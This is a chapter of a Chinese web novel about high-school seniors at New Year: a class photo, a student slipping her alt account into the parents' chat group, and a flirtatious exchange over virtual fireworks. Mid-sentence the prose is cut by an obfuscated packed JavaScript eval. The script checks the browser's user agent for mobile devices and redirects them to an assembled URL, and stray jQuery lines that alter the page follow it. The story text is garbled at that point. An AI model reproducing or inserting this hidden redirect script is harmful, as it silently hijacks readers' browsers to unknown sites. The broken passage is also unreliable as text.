晚上，21：40分。


    元旦晚会结束之后，隔壁栋教学楼的学生越来越少，放眼看过去，几层楼系数关起灯，一片黑暗。


    高三教学楼在这一众中很抢眼，几乎每层每间教室都亮着灯，且异常安静。


    元旦晚会没看尽兴的同学，笑着从楼梯口下来，七嘴八舌的议论着晚会节目的情况。


    冷风席卷，从裤腿窜上肚皮，冷冽无比。


    没指望梁嘉珩能说什么悦耳的话，陈思意移开目光，她转身，把一楼教室玻璃窗当镜子照着。


    还别说，头顶这玩意挺好看的。


    几个人打闹之际，拿着手机的女生不好意思的问：“你们，还拍照吗？”


    被人提醒，他们也没再闹，季崇最先反应过来跟几人说：“别瞎折腾了，我等下要回去睡觉的。”


    “说的谁好像不用睡的一样。”宋远航说着，就往这边挤过来。


    李悠然拉着陈思意抢在中心位置，她精明的解释着：“我研究过了，站这里不会成为背景板。”


    宋远航冷笑一声，就爱跟她作对，冲其他人戏谑的道：“背景板们，记得笑一笑啊。”


    “神经啊你宋远航。”


    “傻逼。”


    在一片嘻哈笑声中，梁嘉珩很沉默，他不动声色的往陈思意旁边挪。


    陈思意头顶上麋鹿形状的闪光灯很占位置，他靠过来时，不小心触碰到她头上这玩意，有些扎脑袋。


    陈思意偏头朝他看过来。


    梁嘉珩不明所以的回望，两人的视线措不及防的碰上，略显黑暗的一片区域，天空升起的烟火声盖过原本该有的心跳声。


    相机快门键按下，镜头画面在这一刻成为永恒的定格。


    -


    12月31号，元旦放假前一天，班上学习气氛再一次到最低点，大多同学已经约好伙伴计划跨年计划，只等下课铃声响起，只等跨年钟声响起。


    假期有三天，陈思意往书包里装了几本资料，觉得不够，又把几本小本知识点塞进去。


    李悠然说背这么多书压根看不过来，纯粹就是给自己找罪受。


    陈思意明白这个道理，但人的心理总是很奇怪的，没有真正放假，总是乐于给自己找说辞：我一定会在假期把它们都看完。


    回到家之后，张舒莞照常在里头忙活，唠叨她的声音时而响起：“……穿这么少，外头的流浪狗都比她暖和，现在的孩子，要风度不要温度。”


    见陈文舟又想帮她说话，张舒莞瞪他一眼，先发制人：“看什么看，赶紧帮忙，再磨蹭下去，都不用吃饭了。”


    “……”


    陈思意在这边待了两分钟，受不了张舒莞的唠叨，她灰溜溜的晃悠到沙发上。


    那边的声音还断断续续的传到耳边，有点吵闹。


    陈思意突然想到放假前胡智说要开家长会，她一下子打起精神来坐直身子。


    她掏出手机，在网上翻了半个小时攻略，真如李悠然说的那样，这些理由完全行不通。


    俗话说，天无绝人之路，很巧的是，张舒莞搁在茶几上的手机“咚咚”响。


    亮起屏幕时，陈思意往那瞥一眼，是胡智在群里发来的艾特消息。


    “……”


    真是得来全不费工夫。


    陈思意内心嘀咕一句，她做贼似的点开张舒莞微信，第一回干这种事，有点紧张。


    她把自己小号拉进家长群，昵称改为“陈思意爸爸”。


    然后用张舒莞的账号删除家长群。


    一连串操作结束，她把手机放回桌面，心里有种莫名的舒坦感。


    这年最后一天，陈思意做了十七岁最后一件叛逆的事。


    晚饭过后，她回到房间，从书包里翻出数学资料和草稿本，提笔开始做题。


    一个小时后，她对了对答案，和上回的错题率差不多。


    本来心情就不太好，现在是更想撂担子不干，陈思意叹了口气，沉默一瞬，还是拿着红笔在圈易错点。


    零点刚到，宋远航创建的群聊“叮咚”响个不停，陈思意滑动屏幕看一眼。


    几个人在群里放鞭炮，一致刷屏：【元旦快乐！！】


    紧接着，就是红包雨。


    季崇在群里发了一个拼手气的红包，陈思意随手一点，开盲盒的金额为：


    ——98


    大概没想到会抢这么多，陈思意眨了眨眼睛，有些懵。


    她疲倦的神色，忽然就有了精神，什么玩意，陈思意心里嘀咕一句。


    她确认一遍，真金白银。


    倒霉这么久，终于让她在这会儿出息一番了！


    抢到两块钱的梁嘉珩：【？】


    宋远航极其无语：【元旦也太晦气了吧，就两个包，我都做好准备笑话没抢到红包的那几个人了，就这？】


    李悠然：【这边建议你先笑一下自己晦气。】


    宋远航：【……】


    周子浩：【不是，微信也是傻逼吧，一个九十八，一个两块？】


    季崇：【陈思意，今晚回家踩狗屎了吗？】


    就不能是她新年开头，好运连连不断吗，什么踩狗屎。


    陈思意对着屏幕轻嗤，重重敲着键盘回：【没办法，实力在这。】


    她刚把文字发出去，梁嘉珩甩出个表情包：【（跪下）】


    陈思意蹙眉：“……”


    这人，上错号了吗？


    刚思考这个问题，梁嘉珩就给她发私信：【陈意思，元旦快乐。】


    刚才在群里不是已经发过一遍了么，怎么还要特意私信跟她说。


    陈思意满腹疑惑，回着跟他一样的字眼，然后问：【一年之计，在于晨，这个点了，你不紧张吗，你不该爬起来学习吗？】


    梁嘉珩秒回：【做题做傻了？】


    陈思意：【你很欠。】


    梁嘉珩：【欠你。】


    陈思意没退出过页面，梁嘉珩这条消息刚冒出的时候，就精准无误的撞入她的眼眸。


    她反应慢半拍，大脑好像也停止思考，一片空白。


    只一瞬间，梁嘉珩就把这条撤回去了，像是过眼云烟，页面留下一片空白。


    若不是系统提示对方有撤回去的提醒，陈思意真觉得这就是一场幻觉。


    真是奇了怪了。


    梁嘉珩故意乱发消息又撤回，搁那玩欲擒故纵，她激动个屁，他大爷的闲着没事干了吧！！


    谁还不会拉扯了，陈思意点击屏幕：【你发了什么呀，为什么要撤回呢？】


    消息发过去，陈思意读了一遍，感觉这一刻的自己有点茶。


    算了，这语气不合适自己，陈思意把消息撤回，重新编辑：【什么东西？】


    梁嘉珩：【没什么。】


    他这话不冷不淡，中规中矩，等着她反过头来追问他呢？


    梁嘉珩这点小心思不要太明显，陈思意回着：【那就没什么吧，就怕你有点什么（微笑）】


    看不到她的神情，单凭一行字，梁嘉珩不知道陈思意在胡言乱语什么。


    他把一张截图甩过去给她，转移话题：【你把这个背景换上。】


    梁嘉珩发给她的图片是一张插画，画上两个穿着新年火红衣服的小人并肩站在圆形拱桥上，他们一同看向对面LED大屏幕上的新年倒计时。


    江桥倒影高楼，湖面波光粼粼。


    不知道梁嘉珩要做什么，陈思意也有些好奇。


    她切换页面把他俩的聊天背景图换成这张插画。


    陈思意：【换好了，你好干嘛？】


    梁嘉珩：【等下。】


    还等下，玩什么花样呢。


    陈思意耐心的等着，直到看见梁嘉珩给她发了几个炸烟花的表情包。


    好像没什么稀奇的，她以为梁嘉珩要跟她互怼表情包。


    陈思意把键盘拉起，刚要点，忽然在屏幕上看见一团团烟花升到插画的天空上。


    天边云彩被烟火的光点亮，四周暗黑的街景瞬间亮起来，光线划过天际，像是披着星光的串珠降落人间。


    隔着屏幕，陈思意仿佛置身其中站到那幅插画的空间里，抬头看连绵的天边，看远处被点亮的城市，看江面嶙峋泛起的点点彩光，如同梦幻一般聆听世界的喧嚣。


    她的瞳孔里反射散落的火光，直至屏幕恢复安静，她才回过神来。


    有点恍惚。


    梁嘉珩什么时候学会这些东西了？到元旦这天，他花孔雀开屏么？


    看完这场虚拟的烟花，陈思意以为梁嘉珩会主动跟她说话。


    她静等一会儿，没等到。


    陈思意主动发两个热烈庆祝的表情包，在聊天框打下：【梁二横，你是本人在线吗？】


    梁嘉珩垂着眼睛，眼底闪过一丝戏谑，睁眼说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190808|157979||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    瞎话：【也许？】


    陈思意：【你什么时候这么浪漫啦？】


    梁嘉珩：【浪漫吗？】


    不是，这一来一回乱七八糟的都是些什么回答。


    陈思意被他绕懵，不太确定他这句“浪漫”，是问她，还是针对这件事反问她。


    陈思意想了想，回：【你以前也这样吗？】


    梁嘉珩：【第一回。】


    陈思意：【那我是第一个吗？】


    梁嘉珩：【嗯。】


    回完话，天空又燃起烟火，梁嘉珩被吸引注意力，扭头朝窗外看过去，那会儿他在想什么？


    很多年后，他依旧记得很清楚，2021年1月1日，00：30分，他在想：


    ——今年没在最后一天一起跨年，明年就能了吧，背景那场烟花，是故意为之，因你而现学的，在新的一天，希望我们，跨越凛冬，翻山越海回到热浪难抵的夏天。


    ***


    元旦假期过后，一月份白天天气很冷，尤其是早上六点钟，走到教学楼路口，迎面刮来的风像细碎的石头，吹得脸上一阵生疼。


    教室黑板上天数，又减少了很多，距离高考越来越接近，班上学生分为两大极端。


    他们要么很沉闷，每天被成堆的资料试卷缠得恨不得能分身学习。


    要么变得很浮躁，经常捧着手机在刷大学，幻想毕业旅行，幻想大学躺平的幸福生活。


    1月15号，周二。


    高三年级都在今天开家长会，大早上教室拖动桌椅的声音很刺耳，几个同学愁眉苦脸的躲在教室后面的杂物间里跟家长打电话。


    大多数都是叫他们亲人不要来。


    然后编各种理由。


    李悠然今天心情不错，趴在阳台上饶有兴趣的看一楼空旷处几个学生打闹。


    她偏头跟陈思意说：“本来我爸妈是坚决要来的，后来我跟他们说，每个家长都要上台脱稿两分钟发言，他们一听，瞬间就不想来了。”


    李悠然爸妈不喜欢麻烦，对这种仪式存在排斥心理，最主要的，是觉得没有什么好发言的，毕竟家长多数只关心孩子成绩，注重结果。


    “你真聪明，精准抓住对方弱点下手，我是累了，懒得跟我妈周旋。”陈思意叹气，“你爸妈不会去找老胡证实吗？”


    李悠然：“不会，他们才懒得管。”


    李悠然把话说完，见宋远航推开办公室的门，从里面出来，她刚举起手要跟他打招呼，瞥见后面跟着出来的胡智，瞬间就把手放下了。


    她点点陈思意肩膀：“宋远航犯什么事了？”


    陈思意摇摇头：“我哪知道。”


    两人边走边走，胡智的声音传来：“……回去记得叫你爸把我从黑名单拉出来知道没，很多重要的事，我都在群里说的，哪天我联系不上你爸——”


    胡智话说到一半，李悠然和陈思意在旁边笑出了声音，他话一顿，逮着陈思意开枪：“陈思意同学，你笑什么笑，我还没找你谈话呢，家长群怎么回事，我打电话问你妈，你妈说压根不知道家长会是什么，一翻，她连群都没有，还莫名多一个你爸出来，怎么的，你有两个爸吗？”


    陈思意收住笑：“……”


    而后，她颤抖着声音问：“打、打电话？”


    胡智：“对，我特意问的。”


    陈思意：“……”


    啊啊啊。


    我谢谢你全家老胡。


    见她不说话，胡智接着回：“本来这事我是不想管的，但你们一个个对家长会如此懈怠，我必须要好好跟你们讲讲。”


    梁嘉珩往这边瞥一眼，不动声色的走过来：“老师，黑板字那边，需要你看一下。”


    “啊？”胡智正准备唾沫横飞，听完他的话，扭头往后看，恨铁不成钢，“真是，一个板字都要我看，太不省心了。”


    胡智背着手往那边走去。


    见他走远，陈思意才松一口气，回头瞥见梁嘉珩目光落在她脸上，而后听见他问：“闯祸了？”


    陈思意垂下头，回着：“我没有。”


    没有，那她脸上这么心虚样，是怎么回事？


    梁嘉珩没打破砂锅问到底，他换了个话题：“你爸妈不来？”


    陈思意摇摇头：“我才不让他们来。”


    不过梁嘉珩问这事，看起来不太正常，她试探性的问一句：“你好像很失望？”